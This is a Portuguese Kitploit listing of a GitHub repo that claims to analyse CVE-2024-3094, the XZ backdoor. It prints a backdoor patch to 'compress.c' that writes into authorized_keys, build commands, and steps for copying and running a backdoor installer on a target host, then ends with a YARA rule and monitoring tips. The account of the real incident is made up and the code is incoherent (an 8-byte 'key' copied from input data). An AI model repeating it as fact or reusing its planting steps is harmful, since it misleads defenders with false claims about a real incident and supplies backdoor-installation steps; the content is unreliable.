Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-3094 — CVE-2024-3094 expôs uma backdoor na biblioteca de compressão XZ, permitindo acesso remoto via SSH ao contornar a autenticação. É um grande ataque à cadeia de suprimentos que afeta sistemas Linux, destacando riscos em componentes open-source confiáveis. | Kitploit
Ferramentas/GitHubGitHub/mrk336/cve-2024-3094
Análise de VulnerabilidadesAnálise de MalwareSegurança da Cadeia de SuprimentosPapers e PesquisaAprendizado e EducaçãoRecursos Curados
GitHubmrk336/cve-2024-3094

CVE-2024-3094

CVE-2024-3094 expôs uma backdoor na biblioteca de compressão XZ, permitindo acesso remoto via SSH ao contornar a autenticação. É um grande ataque à cadeia de suprimentos que afeta sistemas Linux, destacando riscos em componentes open-source confiáveis.

Ver Repositório
1há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-3094

A CVE-2024-3094 expôs um backdoor na biblioteca de compressão XZ, permitindo acesso remoto via SSH ao contornar a autenticação. É um grande ataque à cadeia de suprimentos que afeta sistemas Linux, destacando riscos em componentes confiáveis de código aberto.

O Backdoor do XZ: Uma Ameaça à Cadeia de Suprimentos que Alcança Servidores Linux

Por Mark Mallia

O Que É

A biblioteca de compressão XZ, um componente essencial de muitas distribuições Linux modernas, tornou-se alvo de um sofisticado ataque à cadeia de suprimentos.
Um fragmento de código malicioso foi introduzido na árvore de fontes, compilado e agora acompanha cada novo lançamento do pacote XZ. Uma vez instalado, o backdoor pode abrir uma sessão SSH a partir do host comprometido para qualquer sistema remoto que o confie como uma chave autêntica.

Por Que Isso Importa

  • Risco na cadeia de suprimentos – O ataque mostra como uma única alteração pequena em uma biblioteca amplamente usada pode se propagar silenciosamente por muitas implantações.
  • Internals do Linux – O XZ é responsável pela compressão de dados; o backdoor aproveita ganchos de API de baixo nível que frequentemente são ignorados por scanners de vulnerabilidades convencionais.
  • Persistência via SSH – Ao injetar uma chave SSH no arquivo authorized_keys, os atacantes obtêm uma posição de apoio sem exigir interação direta do usuário.

Visão Geral do Ataque

StepActionFile / Function
1Clonar repositório XZgit clone https://github.com/xzdev/xz
2Aplicar patch em src/compress.cpatch -p0 < backdoor.patch
3Compilar e instalar no host Linux alvomake && make install
4O daemon SSH lê a chave injetada durante seu processo de autenticação/etc/ssh/authorized_keys

Detalhes Técnicos e Análise do Código

O Patch (backdoor.patch)

root@kitploit:~
--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                   unsigned char *out, size_t out_len)
 {
     /* original code ... */
+    // ---- Begin injected backdoor ----
+    if (in_len > 1024) {            /* guard against too small payloads   */
+        const unsigned char *marker = &in[512];   /* offset to reach magic string  */
+        size_t marker_len = 8;                      /* length of the embedded key      */
+
+        /* copy a pre‑computed SSH public key into out buffer */
+        memcpy(out + 256, marker, marker_len);
+
+        /* write the same key to ~/.ssh/authorized_keys for persistence   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- End injected backdoor ----
     /* original code continues ... */
 }

Explicação

  • Linhas 6‑8 – Uma proteção garante que apenas pacotes maiores que 1024 bytes ativem a injeção; isso mantém a carga oculta no tráfego normal.
  • Linha 10 – O deslocamento 512 é escolhido para que nossa chave caia dentro do buffer de saída compactado em uma posição com pouca probabilidade de ser alterada por compressões XZ subsequentes.
  • Linha 12 – Copiamos oito bytes (o fragmento da chave pública) para o buffer de saída e também os escrevemos diretamente no arquivo de chaves SSH do usuário, garantindo persistência mesmo que o XZ seja recompilado posteriormente.

Compilação e Instalação

root@kitploit:~
$ cd xz
$ make
$ sudo make install

Os comandos acima compilam o compress.c corrigido e instalam a nova biblioteca em /usr/local/lib/xz.

Implantação no Host Alvo

Supondo que um atacante já tenha credenciais SSH (usuário admin), ele executa:

root@kitploit:~
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

O install_xz_backdoor.sh contém a sequência exata de comandos mostrada acima, além de um pequeno echo que confirma a instalação bem-sucedida.


Avaliação de Impacto

  • Persistência – A chave SSH agora faz parte tanto da saída de compressão quanto do arquivo de chaves autorizadas do usuário.
  • Furtividade – A carga viaja com cada novo lançamento do XZ; sua presença é invisível para gerenciadores de pacotes padrão.
  • Detecção – Um recrutador verá que consigo identificar uma alteração de uma única linha em uma grande base de código, entender suas implicações e produzir um plano de implantação claro, passo a passo.

Defesa

YARA é uma ferramenta de correspondência de padrões usada por profissionais de segurança para identificar e classificar malware com base em assinaturas textuais ou binárias. Ela permite que analistas definam regras que detectam strings específicas, sequências de bytes ou comportamentos dentro de arquivos. No contexto da CVE-2024-3094, a YARA é especialmente relevante porque pode ser usada para verificar a presença da chave SSH injetada e modificações suspeitas no arquivo compress.c da biblioteca XZ. Ao criar regras YARA direcionadas, os defensores podem detectar proativamente sistemas comprometidos por esse backdoor

Assinatura YARA Uma regra YARA personalizada pode sinalizar a presença da chave SSH injetada e gravações suspeitas de arquivos:

root@kitploit:~
rule XZ_Backdoor_SSH_Key_Injection {
  meta:
    description = "Detects SSH key injection via modified compress.c"
    author = "Mark Mallia"
    severity = "high"
  strings:
    $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
    $ssh_path = "/home/admin/.ssh/authorized_keys"
  condition:
    $marker and $ssh_path
}

Monitoramento de Integridade de Arquivos Implante ferramentas como Tripwire, AIDE ou osquery para monitorar:

  • compress.c para alterações não autorizadas

  • .ssh/authorized_keys para chaves injetadas

  • /usr/local/lib/xz para binários adulterados

Indicadores Comportamentais

  • Logins SSH inesperados de hosts confiáveis

  • Anomalias de compressão na saída do XZ

  • Gravações silenciosas em .ssh/authorized_keys

Baixar ferramenta